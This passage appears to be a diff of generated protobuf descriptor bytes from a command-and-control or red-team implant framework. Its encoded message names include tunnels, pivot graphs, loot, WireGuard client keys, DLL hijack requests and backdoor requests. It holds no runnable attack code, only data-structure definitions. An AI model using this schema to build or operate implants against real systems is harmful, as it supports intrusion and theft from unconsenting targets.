0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, - 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, - 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, - 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, - 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, - 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, - 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, - 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, - 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, - 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, - 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, - 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, - 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, - 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, - 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, - 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, - 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, - 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, - 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, - 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, - 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, - 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, - 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, - 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, - 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, - 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, - 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, - 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, - 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, - 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, - 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, - 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, - 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, - 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, - 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, - 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, - 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, - 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, - 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, - 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, - 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, - 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, - 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, - 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, - 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, - 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, - 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, + 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, + 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, + 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, - 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, - 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 